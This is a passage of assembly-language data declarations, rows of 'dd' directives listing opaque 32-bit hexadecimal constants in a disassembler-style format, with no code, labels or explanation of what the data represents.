		dd 32D764Ch, 7DAB75D0h,	0C425B24Dh, 0FF820059h,	0E4D2B19Fh
		dd 90F2773h, 96EBBE3Bh,	2210AF07h, 416D3E6h, 9E8829FCh
		dd 9131EA9Dh, 0BC24B239h, 51C231B0h, 0DAC99C2Dh, 990CF1C0h
		dd 0CBFAA300h, 173AAF6Ah, 2D221401h, 0F927D28Ch, 451DA852h
		dd 0C48144C2h, 0BBA56F6Dh, 0A40FC72Eh, 26F4F9C3h, 0D825D239h
		dd 19FB2FB6h, 50D0D6C5h, 9BE04889h, 142D6B65h, 0C25E7A05h
		dd 8412CAAh, 225DF6ECh,	2C3C28CBh, 0BD005524h, 1AB2699Bh
		dd 0F09003B9h, 0C1810020h, 47D5615h, 0CAF1E929h, 685D0880h
		dd 45CD213Bh, 4ABE6024h, 0EC81588Ah, 9C713742h,	7B033D1Ch
		dd 408F53EBh, 9D68D308h, 0F1B10A17h, 7C836618h,	5764A2C0h
		dd 770E1AFh, 0FC5171E9h, 7E9500BBh, 308903h, 0DFE812A7h
		dd 2B92B834h, 0B8C01BBFh, 16586Ch, 29691EC4h, 1A9ECECBh
		dd 6E02B800h, 0AF4D2C2Ah, 1C70E63Fh, 40146656h,	0BFE5233h
		dd 44007557h, 0C22AC537h, 0FC23B347h, 303E000Ch, 72287183h
		dd 8B00FF1Dh, 4CAEDE06h, 74675Dh, 96980FA3h, 0BDBC0857h
		dd 3A7B5100h, 0B013D3D7h, 675C3A17h, 9F4F900h, 4BF05F16h
		dd 0F1A91214h, 0E40E01AFh, 5B44825h, 12D8B220h,	0DB600CD2h
		dd 0C8FD80C0h, 16FE6864h, 8415BD89h, 0D8B4ECD4h, 811DCD18h
		dd 151C2AB9h, 49DB8180h, 250F3AC4h, 48478D21h, 286019E4h
		dd 8E0CF50Eh, 50F8666Eh, 0E20C4341h, 16A3016h, 4C8BFC28h
		dd 0DC6DFEBFh, 0DF6D850Fh, 0F5BA8023h, 0F435E47h, 0F01E183h
		dd 0C4A2FCD3h, 5E501921h, 8C1CFCh, 6C5C5793h, 37FF4D79h
		dd 0B523740Bh, 24A54255h, 8053053Fh, 619A6ECAh,	459B604Fh
		dd 0C9EF2982h, 65BD0B60h, 7AB5204Fh, 0FC5D04C5h, 68C1C81Bh
		dd 2AF9CC30h, 0C17562BEh, 8F995A8h, 31021EE5h, 890B0D9Dh
		dd 0A594F60Ch, 0BEC0F5CDh, 15544DECh, 338BD7D1h, 90CE0F3Bh
		dd 9D2960DDh, 9541DD9Eh, 61021F99h, 0B8CBF796h,	0D1615255h
		dd 0AAD2CDA1h, 6E6A6FB1h, 0F48E0FC0h, 4A89CA9Eh, 0A568CCA0h
		dd 0CF38F375h, 566D3220h, 4F95091Ch, 7002803h, 6178B4F1h
		dd 35BFDBAEh, 5E51008Bh, 0FB3A89BDh, 957DD505h,	0CA04F566h
		dd 0CF9E2061h, 0E2F02BC2h, 0C537107Fh, 0ABE63F7Ah, 99C95206h
		dd 0D94E6454h, 0A36F75C4h, 8CBF400h, 0CD48028h,	0F81790BDh
		dd 4251005Bh, 0E395A8B0h, 530A4581h, 8B3572B9h,	740A4602h
		dd 550940EBh, 79278A22h, 4E9C209h, 2B27F9B9h, 7997AABh
		dd 0D84E62Dh, 9D16077Bh, 4241438Bh, 0EC568378h,	13CEB8F0h
		dd 0F684434Bh, 84095848h, 0FF55E080h, 24076808h, 0E8372D22h
		dd 0B719FD02h, 407D5682h, 37CCFC59h, 6BFA3B00h,	6DCF818Dh
		dd 0EA7C4A51h, 534D2CC9h, 260E086Bh, 2BB50128h,	0C096CD7Eh
		dd 8C0F2038h, 0F597899Ch, 255AD6C6h, 415B14F1h,	742FE0D3h
		dd 0FCD09BEh, 40D8C0BFh, 0DA20F6B4h, 0BCDB5C82h, 0C9820072h
		dd 3E269Ah, 7F8229B8h, 35D8D89h, 0D913B93h, 0C7806004h
		dd 55DC324h, 0F3DB5D84h, 7AEC5B8Eh, 3AC901D3h, 0DF58D01h
		dd 95303F4Ch, 91FBD5Dh,	9EF9B4C8h, 0FAE7000h, 17ADEAh
		dd 7B47429Eh, 36C3EF2h,	0D48D4990h, 716508E0h, 8DB05038h
		dd 0D81441B5h, 3CB2CD85h, 9DBEC776h, 701D5BE9h,	0A6E2C9A2h
		dd 5711D101h, 0BF66601Ah, 58153F0h, 3494F9C2h, 0FBCB0E51h
		dd 0E019B677h, 1B59FDEh, 0C66AC7FDh, 100CE8C8h,	66D1D5h
		dd 0F7C10DC2h, 0C75CA0CCh, 0B503D305h, 48BD10A9h, 4FD59513h
		dd 6149EB28h, 4BC4668Ah, 0A4704853h, 2C675E3h, 4A1307F9h
		dd 0AEC1F5B7h, 20BA150Bh, 0E6C739B7h, 30FADE17h, 0C1A49AFEh
		dd 6074CD75h, 14F2F0FCh, 0E7095CA3h, 6187924Ah,	73C1FAE1h
		dd 301DB283h, 8A005BBBh, 0A202C086h, 2EF9D11Eh,	47BE9529h
		dd 7D5A6B89h, 73C08B25h, 6D7E70E4h, 0CE17D3B0h,	8EFBCAD6h
		dd 0FF38CB9Ch, 3864746Fh
		dd 0E7A0612Fh, 6E6B8410h, 0BDC80028h, 89FD2F43h, 6BBC987Ah
		dd 0F876C2CFh, 0E3855BDCh, 0C781002Ch, 131CBDBCh, 0DB6F49E8h
		dd 169C3326h, 0C5D4F51Eh, 20D1730Eh, 0DE68003h,	52E8802Fh
		dd 0B5B93BC3h, 60C4EF7Ah, 238077A8h, 3C200EEDh,	0E5D53300h
		dd 0FA13F6Dh, 61CE30B7h, 705D162h, 8004B7B5h, 592C64BCh
		dd 84013AB8h, 0E8FC7361h, 0DE6F0708h, 787380BCh, 0C4E8EDADh
		dd 712B5A0h, 45620B56h,	0FA036B23h, 0CBA6A8D5h,	4A712A32h
		dd 0DC6E5E15h, 0C03B5500h, 28939761h, 0B9600156h, 1CA4E5E2h
		dd 3601D866h, 331659FEh, 2347A18Dh, 0B83993E8h,	0CE57C10h
		dd 0DB29D36Eh, 8695996h, 6B7A2Dh, 122C875Eh, 731E74CFh
		dd 186DF403h, 0A8252770h, 0B9567Fh, 5BFD2150h, 60E8595Eh
		dd 0A0F65FD6h, 0CE43E6E0h, 90C46474h, 0F9031351h, 0A9A534E8h
		dd 17E9E8E4h, 0FF02D359h, 62885489h, 0FC1B2639h, 99BB5652h
		dd 501380F3h, 7E9E1531h, 0A7A9180h, 0C1B7D970h,	0E8002D9Bh
		dd 1DB505B6h, 81199178h, 98345203h, 0A48B83D1h,	22761AF5h
		dd 0E16BBEC0h, 6E4E009Ah, 5E638A26h, 0AB1A359Fh, 8D342DBFh
		dd 1E488DD3h, 0F25504D9h, 0C277C908h, 39FCCB37h, 2B0ECD0Ch
		dd 0BBB7D25Bh, 2DB0DAE6h, 0D562D89Eh, 0D4124D7Eh, 0C80DF4BDh
		dd 8F14E81Ch, 56F1AC98h, 0C29307C5h, 6EAA5D8h, 0E55E098Bh
		dd 0C1205038h, 4DB5F61Dh, 0E80A8CCDh, 0F6DE04D8h, 0BF0041F4h
		dd 296A3D63h, 990599B5h, 2D310BB8h, 0A1F4E9D6h,	76FE8AD6h
		dd 34F3C0B8h, 1562C13Bh, 1F046962h, 0C7801B11h,	4D16F506h
		dd 11A4E612h, 52ED0F0Fh, 0E0BB3E28h, 0FEDC0EB7h, 0D100455Ch
		dd 79A60EBh, 0A0E87A2Ch, 0F4122Eh, 0EE524D4Ah, 64BA9230h
		dd 8092CEA2h, 0E9E1B960h, 25EC7F64h, 917BBFh, 6CE9C0F3h
		dd 0D8DFE814h, 2B116C3Dh, 2132D8A4h, 2009FD0Ah,	5E66A5DCh
		dd 28DE2401h, 0C0E8D7F1h, 6D323FB1h, 0B2FF0521h, 0CA8E005Fh
		dd 78F52872h, 945A00CFh, 698A042Fh, 6A9A5F44h, 0C124159Ch
		dd 70E504DEh, 0AE4E622Ah, 8DB0710Dh, 0B6875468h, 0AABFE1D8h
		dd 1D8D2EB2h, 8B37217Fh, 0D16E3BC3h, 0C453DA01h, 0B88A0F33h
		dd 61C44F19h, 0E25F5BCh, 0BD8AF879h, 0C0A7E659h, 0D60C8121h
		dd 0B6BB335h, 0A0498529h, 565093BDh, 0F1C407BEh, 925F784Bh
		dd 0BA55CA8Bh, 0D473D6EEh, 60CCD32Dh, 4185B5DDh, 6101D432h
		dd 99D0B16h, 5B2952FDh,	1814D18Dh, 0D980026Fh, 0C1958D5Eh
		dd 893A3081h, 0F231Ah, 6FA8AA41h, 0E8CDA1h, 79C5AD80h
		dd 891CBFD4h, 0DCDB425Ah, 2A80F0DEh, 4B2DDC92h,	0F9861143h
		dd 0EC3BA640h, 9F196418h, 0D89C1628h, 0BC1B4149h, 458D15B2h
		dd 0B7996BDEh, 0A313EEDh, 37074574h, 39DD172Ch,	6BF5CFFFh
		dd 707B7B84h, 9F82620h,	13A58514h, 17DAD360h, 0D3DB5383h
		dd 0C9BF0FF8h, 42C5CAC9h, 66B7DF9Dh, 0A9BA0900h, 6494AF4Dh
		dd 400F90E2h, 52302E58h, 342D00D3h, 6AD730Dh, 0FD240733h
		dd 0D6602111h, 689537h,	92254A69h, 8DB2705Dh, 5EC76215h
		dd 0F5CF34DEh, 1DB820EDh, 30D81300h, 0E9A5E1DCh, 0D5F8C4DFh
		dd 3B0C121Fh, 68168F9h,	0FEDA87C6h, 57957137h, 0FF80C035h
		dd 0FAE7B94Eh, 0CD8D197Fh, 6F01707Ch, 92A9E913h, 24BA8DB8h
		dd 0AEF006CDh, 7D7BA3A5h, 45CDC70h, 86F23323h, 0DA4C231h
		dd 4105A80Ch, 0A2243E14h, 6F8356C0h, 0CD6C9D92h, 0CC0786D2h
		dd 8E6D38FAh, 106E7Eh, 50E7FF7Dh, 580F30A0h, 0AC92108Eh
		dd 5421C014h, 0F1CF55h,	14AEA7ACh, 0BA31EF41h, 0C4E5C4BDh
		dd 2D15BEh, 1EB96651h, 0A95F63FFh, 0A6AEF38Bh, 99798893h
		dd 4051B530h, 0F45AE90Ch, 1C238E3Eh, 1D1F4B1Fh,	8BA980C0h
		dd 0BC6A1846h, 6A01DE2Eh, 4C097970h, 0DF7056C0h, 7BE41A01h
		dd 0C6DE5459h, 75E401DCh, 0F517DA4Bh, 0ACC642EDh, 0BA32155h
		dd 965C9BDh, 0F6FBA2Bh,	8011521Ch, 0FA5178Ah, 0EA9D9529h
		dd 0C5B46039h, 4F12B712h, 0A04DB64Ah, 1A174EE7h, 89BC3749h
		dd 108157DAh, 69C58A5Eh, 84B8A0h, 7F99A25Fh, 0B5B3E6D2h
		dd 73860F24h, 7A6258h, 145F26FDh, 59123E40h, 0B37BB600h
		dd 0A406C4B8h, 8B411231h, 0B8D4EDC0h, 0A30D0164h, 0AB588DA0h
		dd 5BC42B50h, 0AAA44FF7h, 38A8EBB9h, 0DFEE4F87h, 4BD36D2Bh
		dd 98C4B970h, 14872C01h, 18850BFEh, 3A57EA4Ah, 50ED732Eh
		dd 40015F32h, 7753DBD3h, 8C3A90D1h, 6700C6FCh, 1BEA1530h
		dd 7FBFDC52h, 382A246Ch, 24040B15h, 97007DBh, 788B001Bh
		dd 685C3395h, 0CF3580A6h, 87A64E36h, 0E3CC80E5h, 293FC2AAh
		dd 0BC791454h, 0C43D2DCDh, 401F94CCh, 7D98DE54h, 0A85DFA05h
		dd 0A501FC58h, 60B3E4Ch, 82DDDB3Ah, 55B0E9CCh, 2340AC76h
		dd 9932B1BDh, 60391E05h, 254A897Ch, 126259F3h, 76091391h
		dd 37E740C0h, 88F294ECh, 9C183900h, 9DF1CEA6h, 60801485h
		dd 457FD7D9h, 96C9E012h, 701E3F7Bh, 0C600A02Fh,	58729AFDh
		dd 1C1F1F46h, 0EB8AB40Ch, 54EA545Ah, 1215DC8Bh,	56CDE7h
		dd 0EF8239F2h, 943AA8h,	871C084Fh, 92E00A8Ah, 0BFB04A0Eh
		dd 0C2966B62h, 0E55D6DA8h, 802EE821h, 711A1B32h, 81A00147h
		dd 0F88AD364h, 87DC2B5Fh, 2900EBE1h, 0D3B4A1B5h, 7A658D1Ch
		dd 0CB81008Dh, 52CCADE5h, 93B4D1FFh, 41EFEDCh, 0D88AAA4Eh
		dd 22B9AEF9h, 6A8B44C8h, 0CE714D02h, 308B7321h,	0F9E240C9h
		dd 80380F50h, 44604F0Ah, 0AB30956h, 0FC90A7C6h,	7910887h
		dd 40BA9D9Dh, 0EA525E9h, 56629179h, 6C900B3Eh, 4100F5E3h
		dd 0D014EFFEh, 92E6E86h, 7E3EF4EEh, 0E4DC9576h,	0CDDF1237h
		dd 3FBC02C6h, 41560A84h, 1AD31CDEh, 0B1C78039h,	0DFA11173h
		dd 48EF8101h, 503F4F89h, 29001A23h, 79440BB6h, 0AA2537B5h
		dd 5A75F0CEh, 0BFDAA45Bh, 7595837Fh, 7E55B71Ah,	0A8246C91h
		dd 5BA74C4Bh, 4DACE84Dh, 0F902C00h, 0FF6AD8BFh,	20049860h
		dd 57090D31h, 186158F5h, 0FCAAF0h, 0E5DEEB37h, 3B94B6B8h
		dd 4DF86100h, 783BD88h,	0B5FF120Dh, 0C052A985h,	748A71E7h
		dd 9037006Bh, 0CF4ABBB8h, 0B09B260h, 361CB8Bh, 102B8914h
		dd 4C011A39h, 0CF8101ADh, 0B05F0A5Ch, 7B0F3426h, 77C0ABA5h
		dd 8D0970E6h, 280C2120h, 4AC71E4h, 15B501DFh, 7A33AA1Fh
		dd 604103ECh, 241958Bh,	933A754Ch, 0F38CE0FDh, 0C801B636h
		dd 6AC2F781h, 9E3C679Bh, 0CF071C91h, 40C7487Fh,	8BE4B8D3h
		dd 8D89C117h, 0B029C0F4h, 0AC204AE4h, 0F2BAD2DCh, 0B7247657h
		dd 251292CBh, 14E566ABh, 2B801970h, 8124B1C8h, 0CC0212B1h
		dd 86E5307Dh, 0BB0EF4Bh, 0D1B18325h, 7A9AF4BBh,	1E25345Fh
		dd 60B54F07h, 854682BBh, 5512C6C1h, 0C31C261h, 2C8D66E9h
		dd 0C310D4DFh, 22F98A10h, 0A8D03B14h, 897E0E22h, 2EA4294Eh
		dd 0E3808839h, 2E8C854Fh, 4B19F029h, 84908C30h,	0DC0F14FDh
		dd 18A58AD9h, 0D781FE00h, 155F2E74h, 58958911h,	14ED9D0Dh
		dd 8D20C273h, 4EC417B5h, 0C0B99B0Ah, 29FC2741h,	0ECA0BD9Dh
		dd 0BEE1A9BBh, 1216635Ah, 6EA63895h, 9AFF3AF0h,	6547C05h
		dd 0E9307FB4h, 2400D5Bh, 8CB9A531h, 0B284EEBBh,	5CF84901h
		dd 1546D640h, 3ECBE01h,	0A50F959Dh, 3B8BF046h, 0DECECAB9h
		dd 2DF581C4h, 0CA449EF6h, 1FEA54EBh, 9FA8DB3Eh,	6EFC4AF4h
		dd 329300B6h, 8AAEC550h, 0FCD7007Bh, 4094BB66h,	7D9BC02Bh
		dd 4C548778h, 0A101A5E3h, 8DDF80D7h, 4471C2BAh,	61816F1h
		dd 0ADCB3603h, 1D1C233h
		dd 0E983D03Eh, 26F47504h, 1FBCF014h, 0DC2B0472h, 0EC4D8E92h
		dd 0FED9404Dh, 2D880D35h, 28F55504h, 0D96A0712h, 0F35F691Ah
		dd 0A7F670ABh, 0A8640804h, 0DD81FE8Ah, 0DE2F101Dh, 0B1FD8117h
		dd 0EC6C7409h, 407BA3D4h, 52726012h, 6C596131h,	87070FADh
		dd 0A1C28750h, 0BCC10318h, 0ADAB7408h, 5058193Bh, 4E04AE29h
		dd 9454FA3Ah, 1B794281h, 114D5B02h, 0BC6D50E1h,	20958960h
		dd 0D7ED078Dh, 61864BDDh, 0E29B282h, 11087C09h,	9B8343Ch
		dd 0DDB104BBh, 0FA061620h, 0AD0C4B9Bh, 0D746EB85h, 0FF9C7B0Ch
		dd 0F3F562E1h, 5219206h, 4548933h, 0C8D0E95Bh, 0B55E14D9h
		dd 1882D76h, 0FDD34210h, 0F6A2A80Ch, 78910976h,	0D0530ABh
		dd 970AE17h, 0C56DDh, 0D26CFF3Ch, 0ED9E28C5h, 0D3E5DB01h
		dd 5BB3CF80h, 0B0034C48h, 95C074A7h, 23135DBDh,	0F24F65F8h
		dd 0E1B21E30h, 801526C0h, 0D2E350h, 0D338DA82h,	9D5369F3h
		dd 0BF605F01h, 1AAB77C7h, 0BE6D3E20h, 0D98C8376h, 3CA9501h
		dd 4E18001h, 803DDB2Ah,	741C27A1h, 67971795h, 0C18D410Bh
		dd 41C90A1Bh, 60102CAh,	2A092084h, 1D67F098h, 0FD64330Dh
		dd 66F60ED4h, 90F530E0h, 0B4B2964Ah, 0F5499879h, 48D3A630h
		dd 0DF3CDB6Dh, 13F58463h, 0FA41F77Dh, 7CE3B49Dh, 963E6803h
		dd 34C853ACh, 953BC124h, 27E6CAB3h, 0D4B7B6E0h,	80800799h
		dd 93E39F1Ch, 5EDCB854h, 7159A8CBh, 0F94EA0B0h,	0D18BEBC2h
		dd 858901BFh, 7C0AADDFh, 0DD6BC045h, 0A96FE0h, 83AE4A8h
		dd 511CF201h, 0F541D09h, 105B518Bh, 0C781808Ch,	91244B4h
		dd 1EEE97Eh, 0D19F493Dh, 10602D7Eh, 0F0AD46Eh, 0E432BF8Ah
		dd 91629C0h, 0ED02E973h, 0DCA483ACh, 85DC6015h,	7AD0D6D7h
		dd 0FE661214h, 81C0D1FCh, 3F6E54CBh, 0BD891C09h, 0C76A2421h
		dd 70AEF8AFh, 48DC2D9Ch, 6F135ABFh, 65E888EAh, 629A0D0Fh
		dd 69A6201Eh, 0AAD0C8h,	5B9F4491h, 0B58BD5DEh, 83E3DB6Bh
		dd 12C13D54h, 0EB2BCDF8h, 0B1F07BB6h, 7009913Eh, 2EB9426h
		dd 0A237564h, 7A5E0772h, 0C20B6789h, 0B2451019h, 9065601Ch
		dd 2370F8h, 0E7EF8767h,	5ED67280h, 615F5100h, 5DD5CA81h
		dd 0C47D7762h, 2204566h, 0F3044689h, 4DAA7005h,	0D888B205h
		dd 94C0740Fh, 9696A979h, 8BBA4053h, 62077AB9h, 50B7DC3Eh
		dd 0A5968123h, 0FC411DA3h, 129A2AC2h, 312620B5h, 4094E59Dh
		dd 84056812h, 4FECCB62h, 0BCE6AE04h, 0E061F634h, 9BCDE50h
		dd 0F58D2980h, 0A49BFA5Fh, 7FB700CBh, 505F5790h, 4E1EBEBBh
		dd 4D65561Ah, 3997C0DFh, 89B117Dh, 90372Dh, 33611764h
		dd 295AD59Dh, 4BCD9494h, 187B3Fh, 0F9FA91E8h, 2417B8Ch
		dd 0BD036684h, 0F8C41F85h, 0F8648F8Ah, 0A0A34158h, 39B88EBh
		dd 0D992E96Eh, 99C8B860h, 0FA4F77D6h, 0B75BB4B0h, 1D44F46Dh
		dd 0F4951B60h, 1CC77F00h, 94700F14h, 0C302450h,	0C3441CE7h
		dd 10E8C101h, 2700ED6h,	3254C7Eh, 0E7912158h, 36BB36EBh
		dd 3D8764C0h, 501BC6C2h, 21286829h, 13581918h, 1B57A101h
		dd 27797E25h, 0C470C2F3h, 79D1059Eh, 8E384378h,	0C01D88E7h
		dd 338349EFh, 0D00BC4ECh, 94A04096h, 0B3852E67h, 5A54A3B3h
		dd 42D0C460h, 2C1DF97Dh, 8B5BBF0Fh, 208FB464h, 4717B35h
		dd 14077DC2h, 7B2769FFh, 740C78B1h, 0CBC00502h,	0E256BCBBh
		dd 29BC82FCh, 13147221h, 81D4DEFh, 0FC89D3EAh, 3974F4C7h
		dd 86E82D59h, 0CCFFDC09h, 0E1515DA8h, 61605702h, 667B625Bh
		dd 12DA0339h, 9E29BC7Dh, 8D18C098h, 0B6E883E6h,	15AFB404h
		dd 20FF505Bh, 0A78D0981h, 86C9E900h, 55BD9245h,	7BED2D3Eh
		dd 78603E0Dh, 0D6A44201h, 511195A8h, 89AB4B02h,	3F810D32h
		dd 0BE006C6Eh, 8B3BD6B5h, 4EB079B3h, 5812A120h,	0B91FE256h
		dd 57B93EDh, 0AFC4863Eh, 9303057Bh, 959FFE71h, 8B5EA16h
		dd 859D2DADh, 827F37F0h, 7C40806Dh, 0D527784Bh,	0D7543ADCh
		dd 0DC0099B5h, 9A5EA4F5h, 0A18C5815h, 5E236510h, 754139F1h
		dd 89000E19h, 22932050h, 1601AF78h, 4533F4Fh, 16C17047h
		dd 810554A9h, 0EB165EBh, 0A716B8A6h, 0C6A8A243h, 511100D3h
		dd 0AE201038h, 0E5B0B83Fh, 5AD9E330h, 8B05830Fh, 8DF78009h
		dd 97D31475h, 2F0EC8B5h, 0DE1220BBh, 0BBF0D88h,	6787BA18h
		dd 0ED97E1C6h, 0E4DAC02Fh, 0E9FE602Ch, 6B05627Ah, 0C9BD293Bh
		dd 176106F0h, 41AB396h,	420A8A42h, 0E35E5760h, 285A844Bh
		dd 0DCCEF6h, 56F7FB0Ch,	0E4C87D46h, 131B5A2Fh, 52B7D825h
		dd 0E8902820h, 1FFF0F3Fh, 6F60175Fh, 64AE3769h,	41B359F1h
		dd 41FB930h, 0F8099209h, 0ADB797EAh, 0C8E29700h, 13ADA083h
		dd 0C1CBB5E5h, 214BD3Eh, 0A6F2E8h, 0B46A6D1Eh, 3B69CB23h
		dd 3714A413h, 12A52204h, 4FE15A09h, 7219F6C1h, 0C07A9E3Bh
		dd 2CE70B87h, 0D4EA5072h, 6E03458Fh, 12FB55C5h,	0E0A2F651h
		dd 130F2B43h, 0E394A321h, 12B1483Dh, 4BB61E41h,	0CCC21F00h
		dd 750FBFBDh, 0B3980400h, 1BD07FA7h, 59EBF8E0h,	17B85AFCh
		dd 42E8198Ch, 47C25C21h, 0BE1F15EFh, 10251F7Ah,	2B821271h
		dd 0C72C61BDh, 58AF2BAFh, 0D7728072h, 0D545EF25h, 327D144h
		dd 0A0CF52BDh, 83286507h, 0AD5408FCh, 60F52F99h, 9A9A6917h
		dd 3D9379Dh, 0A26063B4h, 76F0DFE0h, 0BD0BB504h,	0C60D0639h
		dd 0C5C83F2Ah, 19E0074h, 9C788CA8h, 0F7004C06h,	0F133A71h
		dd 16555E79h, 0A830E6D1h, 8E51257Eh, 0A6E717B2h, 425C98B2h
		dd 2410FD08h, 23CB00A2h, 0F279E949h, 49B3FF71h,	4EDB378h
		dd 958D37DEh, 7287F876h, 0E81AC148h, 66018C1Ah,	2C0CE625h
		dd 0B28B15E1h, 0A1E808D5h, 2820FC1h, 0D71A25AFh, 82D7F5BAh
		dd 5D04ADB7h, 316050DCh, 3B38295h, 0F906191h, 1B7A0287h
		dd 0B73E50FAh, 9D6E4E92h, 0E7395100h, 2C0F807Ah, 0D7C01E9Eh
		dd 4E439E56h, 9674DE3Ch, 0B1CFC200h, 0B8D8464Bh, 0AFC19639h
		dd 42E26E90h, 9316630Bh, 40D0EFB9h, 0FCEF96B9h,	0FA118A17h
		dd 2DBDA302h, 61B39005h, 250B764Fh, 0A1E28CB3h,	0AD030CE4h
		dd 0AEA15E2Dh, 0DD308F2Eh, 24BC085h, 0D8B70F47h, 0E8C0905Bh
		dd 503CD969h, 3797F88Bh, 39DC0063h, 0F552B1C4h,	5AE842C9h
		dd 0F3D400D5h, 0C2DF4618h, 0CA13480Ch, 100B9ECh, 0AB744A3Eh
		dd 6A0A95Ch, 6ABB5F00h,	7745381Dh, 0F47E5627h, 27265501h
		dd 36162C4Bh, 0A100DA33h, 10AB984Ch, 0A00C7DDh,	7CC94F3Bh
		dd 2544E1EDh, 9BE6FAEFh, 0F4FD9095h, 0D23800F3h, 2262F659h
		dd 97099B6Fh, 5EAFCA1Dh, 1C77CA4Ah, 9C98600Dh, 618129E2h
		dd 0FFB6312Fh, 6F882BD1h, 2702008Fh, 6EEEC8E7h,	0B507EC86h
		dd 0CF5B1ECCh, 42F5EAC1h, 282FF1E9h, 2DE1B2A7h,	0BE8CCh
		dd 202FF0AEh, 58BB4897h, 13DB1C05h, 0E509CDB3h,	0C017ED02h
		dd 4FB4969Ch, 0A9C82800h, 90F9E203h, 9ABF0160h,	61693102h
		dd 3C08DC50h, 4B44C13Fh, 213CE86Eh, 0E04E3409h,	2CB30E4Eh
		dd 0F92058h, 73CB3D0Ah,	820FC6B3h, 0DA022DBBh, 740D1AE9h
		dd 4F6B5815h, 25BD3180h, 0C6DD2245h, 2E530E17h,	0F8075639h
		dd 8B2C70E2h, 99975BFBh, 0BE2E29F9h, 2050F34Dh,	0E6C4122Eh
		dd 0E78101C0h, 0D58051Ah, 0B8C6642Fh, 4DF9808Eh, 0F450667Fh
		dd 70C1009Ch, 9ECC3576h, 8B161069h, 34EDB1DFh, 58C16ACh
		dd 6AC07292h, 9B8E14FFh, 5D1B509h, 8740A36Fh, 19E9C70h
		dd 0B1B97B9h, 721459Dh,	286ABFF0h, 5B7A25A2h, 0F16FD0ECh
		dd 25CB3E45h, 0A7B05C26h
		dd 9000DD64h, 0D3738BA4h, 17DF939Ch, 0A0A9BD89h, 0E6265BA3h
		dd 8C038270h, 1271E456h, 0F322B91Eh, 2BF22D4h, 0CCD5D381h
		dd 0C55E68B8h, 0E989661Fh, 2CC379E7h, 480311AFh, 0BCDE2CB3h
		dd 0A038DB24h, 9D09951Ah, 237DBC72h, 0EB41315Bh, 0F018E281h
		dd 33B8492Fh, 0CDEDF78Dh, 33822EC8h, 81D12429h,	2F15491Bh
		dd 85D53C67h, 1A5AA0BDh, 0A55C7B07h, 208F51Bh, 655FEBCEh
		dd 0A15E4F8Bh, 68630B91h, 59212AE1h, 0A879253Fh, 11972428h
		dd 8C142E9Ah, 0DB1EB698h, 0A1007C14h, 0EE9A813Eh, 37B305A8h
		dd 7A583C8h, 31BFFE24h,	442C9FF2h, 0CA5C10E2h, 0F60CDC12h
		dd 0CD7C09A7h, 45A3D0Ah, 0AB3EFD42h, 8EB4A35h, 612F0759h
		dd 2B0921E7h, 0B004326Eh, 0C1A53405h, 3F263D05h, 5528BDDh
		dd 0C090B22h, 59FB2829h, 1B33D70h, 6ECE6D3Ah, 2AE678A6h
		dd 8C02C4F3h, 0AC2504E0h, 5CDD5C40h, 616C5518h,	822B3582h
		dd 0CD25875Ch, 0B108C033h, 0FC5EF5AEh, 0A90AD834h, 0B89CA3D5h
		dd 61200B2Ah, 0D22B2403h, 50C7251Fh, 0C52003A8h, 806B911Fh
		dd 0CC569D88h, 0D6006171h, 66C13A4Fh, 2BF7BF2h,	786099FDh
		dd 72F3880Dh, 0DC88D8h,	2771FAD9h, 0F9C64ECh, 11B4BF79h
		dd 0A8437169h, 76F312D8h, 0B611F2B2h, 7EEF192Eh, 6ADE5671h
		dd 0B98497DBh, 0A2F8B8CEh, 99BDD58Fh, 0C63F9C80h, 0F222B40Bh
		dd 3D428EDh, 0E02CEBD9h, 7A2BE445h, 0AD6F00DFh,	966DFCAh
		dd 972970B5h, 300143B9h, 42B60B38h, 4BB72995h, 56BE2C94h
		dd 126AE8A2h, 0F70055Dh, 0F880ADh, 0CA1F0462h, 0F6546C29h
		dd 25B53700h, 0B70EC33h, 4B949761h, 71CBF069h, 1AFE462Bh
		dd 0E0544DBDh, 2B4C1A1Ch, 8BB4660Bh, 1BCD1D8h, 0DFC9A0FFh
		dd 0EE202B6Fh, 0AFB946h, 0EC74D5C0h, 6A75FDC3h,	976AC04h
		dd 2EBC5F93h, 915E79A3h, 0E8E13AA6h, 6BBB2F60h,	0C2260049h
		dd 0BB9DA4Dh, 53DA9DE1h, 0CB59BD3Eh, 12882BC9h,	0C9250E91h
		dd 0B7110309h, 53302B88h, 121FCB81h, 0F72C6C10h, 6A5F0Bh
		dd 7C4E1800h, 8EEDA308h, 0E8D01613h, 0CDE92817h, 0B9609000h
		dd 2184E99Eh, 5C65758h,	506158C8h, 518047FCh, 0F64D264Bh
		dd 34B6FE34h, 0D0E412BBh, 1B86668h, 0E0611638h,	2D9768A8h
		dd 87B5CA0h, 0F172C612h, 0E32EF125h, 0F75C52DAh, 0F489D449h
		dd 4AF45A03h, 92B189C2h, 0F0B2DB85h, 4096F1C6h,	5323BC40h
		dd 59FD00FFh, 35DFEF0Fh, 150024EBh, 3B12C076h, 255F16F7h
		dd 22EFC8E9h, 0EB8B9C60h, 0ABA97A2h, 9F50647Bh,	75951209h
		dd 41FDE728h, 4A4069F8h, 0A23BCDCDh, 80760FCEh,	0ACA7402Bh
		dd 4BDF267Dh, 76D79DE2h, 11BDA060h, 54660B4Bh, 0A7849830h
		dd 0F8065203h, 129089DFh, 0E719FD9Dh, 0BC6859D6h, 0EFFD2FCDh
		dd 755AB40h, 0C2FBB725h, 70D8F3DAh, 35163A2Bh, 8C888358h
		dd 0B2E9034Eh, 1525EACh, 772712D8h, 8E289501h, 0F686A82Bh
		dd 8682D0F1h, 5BE0B1CBh, 5AD43F6h, 24BF09C5h, 97E0AC97h
		dd 0E6BC3CB9h, 0EDCEEA05h, 529243CBh, 0DB680010h, 484A83E3h
		dd 8A8788FFh, 71C6FD49h, 849CE03Fh, 1A31B589h, 8BC1EAB9h
		dd 5750FCD9h, 5475D07Dh, 0DB031059h, 0EC2C1FEh,	1531B8CFh
		dd 933A02F1h, 5277075Dh, 6BA1FE5Dh, 3EBEA15Ah, 0F114DE40h
		dd 6F4000EBh, 0B820AA09h, 32F9222Bh, 0BA9A960Bh, 782DE8Eh
		dd 996D61F8h, 29AF58E0h, 0C28F00DFh, 281C1BDCh,	1D25BD89h
		dd 0A721ED1Fh, 33401ACDh, 93A8694h, 0BAB94B42h,	514BFA59h
		dd 4DB504E0h, 0E9FC050Ch, 0F88A5904h, 88AFE7B9h, 0A30CC414h
		dd 0EFA850A5h, 5E3FF912h, 0A388C8E2h, 80F9356Bh, 131E94EBh
		dd 0F40A3CD3h, 0FB276B84h, 0EC1B010Bh, 6D9F00F2h, 7EF19121h
